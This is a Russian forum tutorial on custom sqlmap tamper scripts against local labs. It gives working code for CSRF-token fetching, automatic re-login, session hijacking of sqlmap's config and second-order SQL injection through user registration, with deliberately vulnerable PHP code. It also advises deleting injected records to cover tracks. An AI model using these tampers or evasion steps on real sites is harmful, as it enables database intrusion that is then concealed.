Пришлось слегка доработать, помимо токена прикрутить получение куки и установки его в заголовок. Но даже в этом случае ничего работать не будет. Это я к чему… статьи о программировании нужно не просто читать, а пытаться повторить и запустить в жизнь. Иногда бывают вот такие нюансы…
Причину я подчеркнул на скрине. Просто амперсанд энкодится в %26 и сервер не видит отдельной переменной. Я никогда не исключаю, что это может быть результат моей тупости, но найти способа обойти этот момент не получилось. Выход находится рядом, в hints:
Python:
#!/usr/bin/env python3
import requests
import re
from lib.core.enums import PRIORITY,HINT
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def get_token():
url = "http://localhost/token/"
proxies = {'http':'http://127.0.0.1:8080'}
session = requests.Session()
r = session.get(url, verify=False, allow_redirects=True, proxies=proxies)
token_re = re.compile(r'(?<=csrf-token-1).*(?<=value=\")(.*)\"')
token = token_re.search(r.text).group(1)
session_id = session.cookies.get('PHPSESSID')
return {"token": token, "session_id": session_id}
def tamper(payload, **kwargs):
if payload:
response = get_token()
headers = kwargs.get("headers", {})
hints = kwargs.get("hints", {})
headers['Cookie'] = "PHPSESSID=" + str(response.get("session_id"))
hints[HINT.PREPEND] = f"&csrf-token={response.get("token")}"
return payload
Теперь код работает как надо. Запрос в Burp выглядит, как надо — все лежит в отдельных переменных:
Команда запуска:
Bash:
python .\sqlmap.py -u http://localhost/token/ --method=POST --data="search=*" --tamper <path>gettoken.py --proxy http://127.0.0.1:8080 --batch
Чтобы отключить проксирование в бюрп, убираем прокси в тампере и в команде запуска.
В сущности, ничего неожиданного, но согласитесь - тамперы уже заиграли совершенно другими красками.
Логин перед инъекцией
Бывает, что перед инъекцией необходимо залогиниться. В большинстве случаев, можно выполнить логин руками и передать параметры сессии в заголовках. Но что, если по каким-либо причинам, веб-приложение сбрасывает сессию? В этом случае, мы можем реализовать тампер с предварительным логином. Выглядит это даже проще, чем получение токена из примера выше.
Python:
#!/usr/bin/env python3
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def authorize():
url = "http://localhost/auth/"
proxies = {'http':'http://127.0.0.1:8080'}
data = {"username": 'admin', "password":"Password123"}
session = requests.Session()
r = session.post(url, data=data, verify=False, allow_redirects=True, proxies=proxies)
session_id = session.cookies.get('PHPSESSID')
return session_id
def tamper(payload, **kwargs):
session_id = authorize()
headers = kwargs.get("headers", {})
headers['Cookie'] = "PHPSESSID=" + str(session_id)
return payload
Теперь, перед каждым запросом, будет происходить предварительный логин. Неплохо, но мы получим аномальное количество авторизаций. Значит атака становится заметнее. Решить эту проблему можно, но сначала предлагаю посмотреть на простой и абсолютно бесполезный пример. Нам он нужен просто чтобы увидеть, что происходит. Запустите следующий тампер, указав в качестве прокси Burp.
Python:
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
boom = 0
def dependencies():
pass
def tamper(payload, **kwargs):
global boom
headers = kwargs.get("headers", {})
boom += 1
headers["Boom"] = str(boom)
return payload
Мы видим главное, данные между вызовами тампера сохраняются, а значит мы спокойно можем хранить инфу о сессии. Значит можно реализовать хранение сессии в переменной и добавить предварительную проверку, надо ли нам логиниться.
Каждый сайт уникален, значит и проверка необходимости перелогиниться будет уникальной. В моем примере, будет происходить проверка поля для поиска, так как поиск доступен только авторизованному пользователю. Чтобы этот механизм работал, в модуле “auth” лаборатории, есть два состояния:
- Пользователь не залогинен и требуется авторизация
- Пользователь залогинен, доступен поиск по сайту с SQL-уязвимостью.
Для соблюдения условия на необходимость перелогина, пользователь может выполнить только три запроса после чего сессия уничтожается и нужно логиниться заново. За это отвечает переменная-счетчик times, которая храниться в сессии.
PHP:
if (isset($_SESSION['times']) and $_SESSION['times'] > 2) {
session_unset();
session_destroy();
session_start();
}
if(!isset($_SESSION['token']) and isset($_REQUEST['username']) and isset($_REQUEST['password'])) {
$username = $_REQUEST['username'];
$password = $_REQUEST['password'];
if ($username == 'admin' and $password == 'Password123') {
$_SESSION['token'] = bin2hex(random_bytes(32));
$_SESSION['user'] = 'admin';
$_SESSION['times'] = 0;
}
}
...
$_SESSION['times']++;
...
Обновленный код тампера:
Python:
#!/usr/bin/env python3
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
url = "http://localhost/auth/"
proxies = {'http':'http://127.0.0.1:8080'}
php_session_id = None
def dependencies():
pass
def check_login_status(session_id):
cookie = {"PHPSESSID": session_id}
r = requests.get(url, cookies=cookie, proxies=proxies)
need_login_re = re.compile(r"name=['" + '"' + "]search")
need_login = need_login_re.search(r.text)
if need_login:
return True
return False
def authorize():
data = {"username": 'admin', "password":"Password123"}
session = requests.Session()
r = session.post(url, data=data, verify=False, allow_redirects=True, proxies=proxies)
session_id = session.cookies.get('PHPSESSID')
return session_id
def tamper(payload, **kwargs):
global php_session_id
headers = kwargs.get("headers", {})
if php_session_id:
if check_login_status(php_session_id):
headers['Cookie'] = "PHPSESSID=" + str(php_session_id)
return payload
php_session_id = authorize()
headers['Cookie'] = "PHPSESSID=" + str(php_session_id)
return payload
Сначала проверяем, есть ли вообще сохраненная сессия. Если нет, сразу идем и логинимся, после чего передаем сессию в заголовки. Если сессия есть, проверяем актуальная ли она. Соответственно, если все ок, мап делает запрос, если не ок — перелогинивается. Собственно, по самому коду, думаю больших вопросов возникнуть не должно.
Запустить можно следующим образом:
Bash:
python .\sqlmap.py -u http://localhost/auth/?search=* --tamper <path>auth_0_2.py --proxy http://127.0.0.1:8080 --flush-session
Видно, что периодически тампер перелогинивается. Так же видны запросы без параметра search, это чек на логин. Пример вполне работает. Данные о сессии успешно хранятся в переменной. Но, чтобы все четко работало, нужно запретить мапе обновлять куки из запросов.
Но… давайте посмотрим, можно пойти дальше и хранить сессию в объектах самого sqlmap? Да! В ядре sqlmap есть файл data.py, в нем содержатся все объекты системы:
Python:
#!/usr/bin/env python
"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.datatype import AttribDict
from lib.core.log import LOGGER
# sqlmap paths
paths = AttribDict()
# object to store original command line options
cmdLineOptions = AttribDict()
# object to store merged options (command line, configuration file and default options)
mergedOptions = AttribDict()
# object to share within function and classes command
# line options and settings
conf = AttribDict()
# object to share within function and classes results
kb = AttribDict()
# object with each database management system specific queries
queries = {}
# logger
logger = LOGGER
Немного покопавшись в коде, легко найдем следующие строчки web.py:
Отлично, можно взять за основу и адаптировать под наши задачи. Теперь схема работы будет выглядеть так:
- Проверяем, есть ли в conf.parameters нужные куки.
- Если есть, то делаем тестовый запрос и ищем признаки входа в систему.
- Если не установлены куки или отсутствуют признаки в пункте 2, то делаем запрос на логин и сохраняем куки в conf.parameters.
Что же, теперь у вас есть вполне интересная идея для тампера, а также понимание возможности хранить данные между вызовами тамперов и возможности прямо влиять на объекты sqlmap.
Python:
#!/usr/bin/env python3
import re
import requests
from lib.core.data import conf
from lib.core.enums import PRIORITY, PLACE
__priority__ = PRIORITY.NORMAL
url = "http://localhost/auth/"
proxies = {'http':'http://127.0.0.1:8080'}
php_session_id = None
def dependencies():
pass
def check_login_status(session_id):
cookie = {"PHPSESSID": session_id}
r = requests.get(url, cookies=cookie, proxies=proxies)
need_login_re = re.compile(r"name=['" + '"' + "]search")
need_login = need_login_re.search(r.text)
if need_login:
return True
return False
def authorize():
data = {"username": 'admin', "password":"Password123"}
session = requests.Session()
r = session.post(url, data=data, verify=False, allow_redirects=True, proxies=proxies)
session_id = session.cookies.get('PHPSESSID')
return session_id
def tamper(payload, **kwargs):
global php_session_id
headers = kwargs.get("headers", {})
if php_session_id:
if check_login_status(php_session_id):
headers['Cookie'] = f"PHPSESSID={php_session_id}"
conf.parameters[PLACE.COOKIE] = f"PHPSESSID={php_session_id}; "
return payload
php_session_id = authorize()
headers['Cookie'] = f"PHPSESSID={php_session_id}"
conf.parameters[PLACE.COOKIE] = f"PHPSESSID={php_session_id}; "
return payload
Из нового здесь то, что импортируем перечисление PLACE, указывающее конкретную позицию в параметрах объекта conf и сам объект conf. Далее практически на 100% идентичный код, только переписываем conf.parameters[PLACE.COOKIE]. Тем самым нагло и бесцеремонно вмешиваемся в работу sqlmap. Для стабильности работы оставил и обновление заголовков.
Bash:
python .\sqlmap.py -u http://localhost/auth/?search=* --tamper <path>auth_0_3.py --proxy http://127.0.0.1:8080 --flush-session
Что это дает нам? Используя подобное наглое вмешательство, мы можем напрямую влиять на все или почти все параметры запроса.
Инъекция второго порядка
В отличии от классической SQLi, в которой мы сразу можем определить ответ сервера на нашу нагрузку, в инъекциях второго порядка вредоносная нагрузка сохраняется и отрабатывает позже. Например, описание в профиле пользователя не проходит должную фильтрацию. В результате, хакер может поместить в описание полезную нагрузку, которая модифицирует запрос при просмотре профиля и выдаст результат работы нагрузки. Визуально процесс выглядит следующим образом:
На этот случай, у sqlmap есть прекрасный механизм, который включает в себя два варианта: --second-url и --second-req. Соответственно, в первом случае, мы передаем конкретный url для чека результата, во втором передаем файл содержащий запрос.
Но бывают ситуации, когда невозможно реализовать инъекцию второго порядка через этот механизм. Например, если точкой инъекции выступает логин пользователя, который можно указать при регистрации, но в дальнейшем он недоступен для редактирования. Подобный случай рассмотрен в заметке HackTricks. Единственный недостаток, на мой взгляд, в том что там сам механизм имеет туманное описание и может быть сложным для понимания. Поэтому, накидал на коленке небольшой проект, чтобы можно было “пощупать руками” - речь о second.
По сути, это просто несколько модулей реализующих регистрацию и авторизацию пользователей. Взаимодействие с базой происходит через стандартный для PHP ORM (Object Relation Model) - PDO, что делает процесс значительно безопаснее. Но, по нашей задумке, “разработчик” не учел, что хакер может использовать логин для хранения инъекции, поэтому исключил очистку входных данных и полностью доверяет данным полученным из базы.
Код регистрирующий пользователя без очистки данных:
PHP:
$sql_query = "INSERT INTO `users` (`username`,`email`,`password`, `is_admin`) VALUES (:username, :email, :password, :is_admin)";
$stmt = $conn->prepare($sql_query);
$stmt->execute(['username' => $username, 'email' => $email, 'password' => md5($password), 'is_admin' => 0]);
$result = $stmt->fetch();
В целом, он бы не принес существенных проблем, если бы и в дальнейшем происходила подстановка значений, а не прямое использование в запросе:
PHP:
$username = $_SESSION['username'];
$query = "SELECT username,password,email,is_admin FROM users WHERE username='" . $username . "'";
echo $query;
foreach ($conn->query($query) as $row) {
printf("%s:%s %s %s\n", $row["username"], $row["password"], $row["email"], $row["is_admin"]);
}
Для наглядности, вот еще кусок кода, демонстрирующий получение логина пользователя из базы в сессию:
PHP:
$sql_query = "SELECT * FROM `users` WHERE `username`=:username and `password`=:password";
$stmt = $conn->prepare($sql_query);
$stmt->execute(['username' => $username, 'password' => md5($password)]);
$row = $stmt->fetch();
if($row)
{
$_SESSION['username'] = $username;
header("location: index.php");
}
Вернемся к нашей инъекции. Для реализации задуманного, потребуется тампер с предварительной регистрацией. Напомню, что тамперы выполняются до осуществления запросов. Получается следующая схема работы:
- Sqlmap создает payload
- Тампер создает пользователя, используя вместо ника полезную нагрузку
- После регистрации, тампер разлогинивается (хотя в нашем случае это не принципиально)
- Sqlmap выполняет запрос из login.txt, который залогинит пользователя и создает сессию.
- Sqlmap выполняет запрос из second.txt, который проверит результат работы пэйлоада.
Python:
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def login_account(payload):
# Proxy for Burp logging
# proxies = {'http':'http://127.0.0.1:8080'}
base_url = "http://localhost/"
params = {"username": payload, "email": "test@test.com", "password":"Password123"}
url = f"{base_url}register.php"
# pr = requests.post(url, data=params, verify=False, allow_redirects=True, proxies=proxies)
pr = requests.post(url, data=params, verify=False, allow_redirects=True)
url = f"{base_url}logout.php"
pr = requests.get(url, verify=False, allow_redirects=True)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
Думаю, что особо код тампера пояснять не нужно. Выполняет все вышеописанное. На всякий случай в комментариях оставил вариант с проксированием трафика через Burp. В этом случае, важно убедиться, что не используете порт 8080 в докере. Оптимально тогда и sqlmap пускать через прокси Burp.
Можно заморочиться и перестроить алгоритм работы на предварительный логин, как в предыдущем примере. Но мне кажется, что в данном случае менять только портить. Довольно приятная и лаконичная схема работы.
Чтобы запустить достаточно ввести (не забыв заменить <path> на свой):
Bash:
python sqlmap.py -r <path>\login.txt -p username --second-url "http://localhost/userprofile.php" --tamper <path>\tampers\second.py
Результат выполнения не может не радовать. Связка из запроса и тампера, прекрасно отрабатывает. SQLMAP нашел кучу вариантов получения данных из базы:
Перечисление данных выполняется без каких-либо проблем:
Это достаточно шумная атака и админ, хотя бы изредка просматривающий базу данных, будет сильно удивлен.
Стоит позаботиться о том, чтобы замести за собой следы. В нашем случае, это можно сделать запустив sqlmap с –sql-shell и использовать запрос на удаление всех ненужных записей.
Конечно же, в современных условиях, подобный подход в 90% будет недостаточным, так как нам нужно подтверждение регистрации. Но ничего не мешает прикрутить в тампер проверку почты. Поднять свой почтовик и реализовать механизм catch-all для сбора почты со всех ящиков, чтобы можно было для регистраций использовать рандомные адреса. Ну или прикрутить какой-нибудь temp-mail.org, чтобы использовать временные почты.
Заключение
Никто не будет спорить, что sqlmap это безумно мощный инструмент для sql-инъекций. Тамперы же, расширяют возможности мапы почти до безграничных. Ладно, ладно, отброшу пафос))) На самом деле, у меня смешанные чувства. В момент, когда я углублялся в тамперы, открывающиеся возможности мне были как откровения. Но когда писал статью, появилось некое ощущение банальности и очевидности материала. Я даже не отследил перехода от одного мнения к другому. Отсюда вопрос, как вам материал?В целом, в статье я пытался акцентировать внимание, что тамперы это не только модификация пэйлоада для обхода WAF или подстройки нагрузки под конкретное веб-приложение, но и возможность выстраивать сложные многошаговые атаки, с донастройкой всех параметров запроса или обращениями к сторонним ресурсам. Надеюсь статья будет вам полезна с практической точки зрения.
P.S.
Предлагаю делиться примерами интересных тамперов, если в практике возникала необходимость их создавать.
Вложения
Последнее редактирование: